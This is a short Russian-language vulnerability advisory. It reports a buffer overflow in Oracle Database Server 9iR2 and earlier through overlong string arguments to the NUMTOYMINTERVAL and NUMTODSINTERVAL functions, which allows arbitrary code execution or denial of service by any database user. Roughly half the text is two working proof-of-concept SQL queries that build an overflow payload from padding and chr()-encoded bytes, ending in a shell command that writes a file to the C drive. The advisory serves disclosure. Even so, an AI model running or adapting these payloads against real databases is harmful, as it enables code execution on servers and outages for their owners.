В Oracle Database Server версии 9ir2 (и более ранних)
обнаружена уязвимость. Запросы вида:
SELECT NUMTOYMINTERVAL(1,'длинная строка') from dual;
SELECT NUMTODSINTERVAL(1,'длинная строка') from dual;
вызовут переполнение буфера. Любой
пользователь может выполнить такие команды,
так как запретить их возможности нет.
Уязвимость может использоваться для
выполнения произвольного кода или DoS атаки.
Пример:
SELECT NUMTOYMINTERVAL (1,'AAAAAAAAAABBBBBBB BBBCCCCCCCCCCABCDE FGHIJKLMNOPQR'
|| chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) || chr(36)
|| chr(18) || chr(80) || chr(255) || chr(21) || chr(52) || chr(35) || chr(148)
|| chr(01) || chr(255) || chr(37) || chr(172) || chr(33) || chr(148) || chr(01)
|| chr(32)||'echo ARE YOU SURE? >c:\Unbreakable.txt') ?FROM DUAL;
SELECT NUMTODSINTERVAL (1,'AAAAAAAAAABBBBBBB BBBCCCCCCCCCCABCDE FGHIJKLMNOPQR'
|| chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) || chr(36)
|| chr(18) || chr(80) || chr(255) || chr(21) || chr(52) || chr(35) || chr(148)
|| chr(01) || chr(255) || chr(37) || chr(172) || chr(33) || chr(148) || chr(01)
|| chr(32) || 'echo ARE YOU SURE? >c:\Unbreakable.txt') ?
FROM DUAL;